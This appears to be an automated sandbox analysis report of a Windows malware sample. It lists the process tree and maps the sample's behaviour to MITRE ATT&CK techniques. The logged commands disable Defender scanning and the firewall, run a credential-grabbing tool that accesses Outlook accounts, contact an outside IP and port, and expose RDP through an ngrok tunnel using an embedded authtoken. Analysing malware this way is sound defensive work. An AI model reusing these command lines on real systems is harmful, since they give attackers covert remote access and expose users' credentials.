  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\End.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'End.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- C:\Windows\SYSTEM32\CMD.EXE
  "CMD.EXE"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\ipconfig.exe
    ipconfig
    3⤵
    - Gathers network information
    PID:3028
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c Cd %temp% && All-In-One.exe OutPut.json
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Users\Admin\AppData\Local\Temp\All-In-One.exe
    All-In-One.exe OutPut.json
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Accesses Microsoft Outlook accounts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4936
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 193.161.193.99 47274 <123456789> 68D6AB213031043C6151
  2⤵
  PID:2136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1076
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
      4⤵
      PID:3760
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3492
- C:\Users\Admin\AppData\Local\Temp\ngrok.exe
  C:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken 1lNgAGeXYzqqhstBZTHQYhK5pTm_3i2DFGwKudqJpBrf1K1xp
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd"
  2⤵
  PID:1432
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:3796
- C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe
  "C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i
  2⤵
  - Sets DLL path for service in the registry
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  PID:1076
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    PID:2932
- C:\Users\Admin\AppData\Local\Temp\ngrok.exe
  "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
  2⤵
  - Executes dropped EXE
  PID:1308
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1344
- C:\Users\Admin\AppData\Local\Temp\ngrok.exe
  C:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken 1lNgAGeXYzqqhstBZTHQYhK5pTm_3i2DFGwKudqJpBrf1K1xp
  2⤵
  - Executes dropped EXE
  PID:3252
- C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe
  "C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Users\Admin\AppData\Local\Temp\ngrok.exe
  "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  PID:1552
- C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe
  "C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Users\Admin\AppData\Local\Temp\ngrok.exe
  "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
  2⤵
  - Executes dropped EXE
  PID:4068
- C:\Windows\SYSTEM32\CMD.EXE
  "CMD.EXE"
  2⤵
  PID:2432
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok tcp 8080
    3⤵
    - Executes dropped EXE
    PID:3928
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok update
    3⤵
    - Executes dropped EXE
    PID:1972
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok tcp 8080
    3⤵
    - Executes dropped EXE
    PID:4640

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3884

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.0.1039245842\4138770" -parentBuildID 20230214051806 -prefsHandle 1752 -prefMapHandle 1732 -prefsLen 22074 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {44644a20-494b-4c64-b25e-9cac4234ae18} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 1832 1aa10a23858 gpu
    3⤵
    PID:4896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.1.1029743080\2015102526" -parentBuildID 20230214051806 -prefsHandle 2344 -prefMapHandle 2336 -prefsLen 22110 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {313febf0-76db-4f1b-980c-230083e85347} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 2356 1aa03d8a558 socket
    3⤵
    - Checks processor information in registry
    PID:4604
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.2.587208134\488069883" -childID 1 -isForBrowser -prefsHandle 2928 -prefMapHandle 2924 -prefsLen 22148 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3648ea0d-630f-444c-bb8b-9dc31924b442} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 2940 1aa133ef558 tab
    3⤵
    PID:3408
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.3.714824823\677775515" -childID 2 -isForBrowser -prefsHandle 924 -prefMapHandle 1268 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c01b40d7-14da-4f78-afe9-c3c235cdf8d1} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 1048 1aa15f5af58 tab
    3⤵
    PID:1016
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.4.447514033\179080357" -childID 3 -isForBrowser -prefsHandle 5132 -prefMapHandle 5128 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f7e8162-cefd-4e03-b106-8b27f7838b42} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 5160 1aa17cec958 tab
    3⤵
    PID:4908
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.5.1648778566\1391207075" -childID 4 -isForBrowser -prefsHandle 5296 -prefMapHandle 5300 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9484f2ce-729f-4aa4-bcdd-dd2a14f5ca83} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 5288 1aa1856bb58 tab
    3⤵
    PID:3380
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.6.184629650\1854656444" -childID 5 -isForBrowser -prefsHandle 5488 -prefMapHandle 5492 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a8f4e51d-99b6-48ef-901a-e77ab35b9157} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 5480 1aa1856be58 tab
    3⤵
    PID:3480
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4428.7.1110269683\647221054" -childID 6 -isForBrowser -prefsHandle 4944 -prefMapHandle 5092 -prefsLen 31084 -prefMapSize 235121 -jsInitHandle 1340 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39c74c82-dfef-4458-9e57-99cfa38bef2b} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" 4904 1aa150a4d58 tab
    3⤵
    PID:2008

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:3800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery